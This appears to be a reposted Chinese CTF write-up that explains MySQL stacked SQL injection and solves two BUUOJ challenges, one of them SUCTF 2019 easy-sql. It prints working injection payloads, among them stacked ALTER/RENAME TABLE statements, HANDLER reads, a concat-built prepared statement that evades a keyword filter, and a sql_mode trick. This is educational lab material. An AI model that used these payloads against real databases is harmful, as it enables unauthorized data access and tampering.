两道ctf题目学会sql堆叠注入以及拿flag的骚姿势


0x00:写在前面

题目来源:https://buuoj.cn/challenges

参考wp:https://blog.csdn.net/qq_26406447/article/details/90643951

0x01:堆叠注入

原理很简单,mysql_multi_query() 支持多条sql语句同时执行,就是个;分隔,成堆的执行sql语句,例如

 select * from users;show databases; 

就同时执行以上两条命令,所以我们可以增删改查,只要权限够~

虽然这个注入姿势很牛逼,但实际遇到很少,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,利用mysqli_multi_query()函数就支持多条sql语句同时执行,但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁。

0x02:wp~

打开题目,单引号轻而易举的报错

 

 正常的sql注入开始,order by 2(这里是正常的) 然后union select 1,2-- -,就触发了过滤规则

 

 尝试bypass无果,然后想了各种姿势,好像都和select要扯上关系(师傅有新思路 可以评论提示一下)

补充经过评论提示还有方法:handler代替select  、concat拼接存储过程

这里尝试堆叠注入

1';show databases;

1';show tables;(这里因为就是选中了当前数据库,所以直接show即可)

 

 

1';show columns from words;

 

 

1';show columns from `1919810931114514`;

 

 查看两个表的字段名字,此时我们目标就是读取1919810931114514表的flag字段,但是限制了查询语句,所以我们需要通过当前页面的select展示语句进行得到flag

在当前页面有个与数据库交互的操作。id=1,2,3

那么这里是从words表里面进行查询

前面说过 我们可以通过堆叠注入进行怎删改查,那么此时我们可以把1919810931114514改为words表,然后添加id参数,再把原先的words给改为其他

讲白了就是占别人的窝

OK 开始

mysql修改表名的操作:

把默认的words改为ww
ALTER TABLE words RENAME TO ww;
把1919810931114514改为words;
ALTER TABLE 1919810931114514 RENAME TO words;
往words表里新增一个字段id
ALTER TABLE words ADD id int(10) DEFAULT '1';
修改words里面flag为data
ALTER TABLE words CHANGE flag data VARCHAR(100);-- -
然后把以上语句进行堆叠:所以payload:url?=1';rename table words to word22;rename table `1919810931114514` to words;ALTER TABLE words ADD id int(10) DEFAULT '12';ALTER TABLE  words CHANGE flag data VARCHAR(100);-- -
还有种语句格式:
把默认的words改为ww
rename table words to ww;
下面就都一样

验证:

 flag就到手了

方法2:handler

handler `1919810931114514` open;handler `1919810931114514` read first;(因为这里是长数字 所以需要`)

 

 方法三:存储过程 concat拼接拿flag

?inject=1';sEt+@a=concat("sel","ect+flag+from+`1919810931114514`");prepare+hello+from+@a;execute+hello;-- -

 

 

0x03:CTF题目二 [suctf-2019 easy-sql]

项目源码环境

 

 打开这题目,输入1得到如图,burp fuzz一下过滤了很多关键字,show select都可以用,但flag from这些都不行

常规操作,show tables;

 

 得到这样,其实这里下面自己就没思路了。。。from flag都被过滤,列名和表信息都查看不了

解法一:

*,1

post传入query=*,1

那么sql查询语句就是 select *,1 || flag from Flag;

解法2:1;set sql_mode=pipes_as_concat;select 1

set sql_mode=pipes_as_concat;把||变成连接符

 

 

0x04:总结

堆叠注入不难,就是这个sql注入姿势太多啦,emmm 一开始自己捣鼓好久其他的,尝试各种绕过,还是不熟悉这个~ 啧!

这题感觉这个最后拿flag的姿势很有意思,能想到的人还蛮聪明的

 


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM